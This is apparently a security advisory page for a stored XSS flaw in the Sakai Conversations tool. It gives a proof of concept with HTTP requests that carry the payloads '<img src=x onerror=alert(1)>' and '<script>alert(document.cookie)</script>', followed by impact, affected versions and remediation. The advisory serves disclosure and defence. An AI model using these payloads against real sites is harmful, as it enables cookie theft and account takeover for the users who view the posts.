CVE-2026-54049: XSS

Published Aug 24, 2026
·
Updated

Summary

The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.

Description

The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (convtopics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.

The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in convcomments.

On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:

- SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)} - SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)} - SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}

Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.

Proof of Concept

Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP275K7418).

Step 1 - Inject XSS payload in topic:

POST /api/sites/BELP275K7418/topics HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=<authenticated-session> Content-Type: application/json

{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}

Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.

Step 2 - Verify stored in database:

sql SELECT TOPICID, TITLE, MESSAGE FROM convtopics WHERE TOPICID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb'; -- Result: MESSAGE = <img src=x onerror=alert(1)>

Step 3 - Inject XSS payload in post reply:

POST /api/sites/BELP275K7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=<authenticated-session> Content-Type: application/json

{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP275K7418"}

Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.

Step 4 - Verify in database:

sql SELECT POSTID, MESSAGE FROM convposts WHERE POSTID='e3cf7aed-c630-448a-89bb-27a8baacd269'; -- Result: MESSAGE = <script>alert(document.cookie)</script>

When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.

Impact

An attacker with any site membership (student role or higher) can: - Perform actions on behalf of victims - Exfiltrate gradebook data and course content - In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously

Status / timeline: - 2026-06-02: Fix committed to master (2696b4b48cbef2e81512f52f84f7477adff78b27) - Release pending.

Affected Software

3 affected components
maven/org.sakaiproject.rubrics:rubrics-impl>=23.0<=23.3
maven/org.sakaiproject.kernel:sakai-kernel-impl>=23.0<=23.3
maven/org.sakaiproject.conversations:sakai-conversations-impl>=23.0<=23.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade Sakai Conversations tool (SakaiTopic.js/SakaiPost.js/SakaiComment.js) to a version that resolves this vulnerability.

    Fixed in 2696b4b48cbef2e81512f52f84f7477adff78b27
  2. Configuration

    Update SakaiTopic.js (line 679), SakaiPost.js (lines 429, 432), and SakaiComment.js (line 148) so that the topic/post/comment message is not rendered via LitElement's unsafeHTML() directive, preventing stored XSS from executing injected HTML/JS.

    Frontend (LitElement rendering) unsafeHTML() usage for message fields = Do not use unsafeHTML() to render user-controlled message content (use HTML sanitization/escaped rendering instead)

Event History

Aug 24, 2026
Advisory Published
via GitHub·07:37 PM
Data Sourced
via GitHub·07:37 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Users who view a topic, post, or comment in a Sakai site where the Conversations tool is enabled can have attacker-supplied HTML and JavaScript execute in their browser. The attacker must be an authenticated user with access to that site.

2

What does an attacker need to do to exploit it?

The attacker can submit a crafted message through the topic endpoint or through the post-reply functionality. The malicious content is stored and executes when other users view the affected topic, post, or comment.

3

Which interfaces and stored content should be investigated?

Review content submitted through POST /api/sites/{siteId}/topics and POST /api/sites/{siteId}/topics/{topicId}/posts, as well as comments stored in conv_comments. Topic messages are stored in conv_topics.MESSAGE and are rendered by the Conversations frontend using unsafeHTML().

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203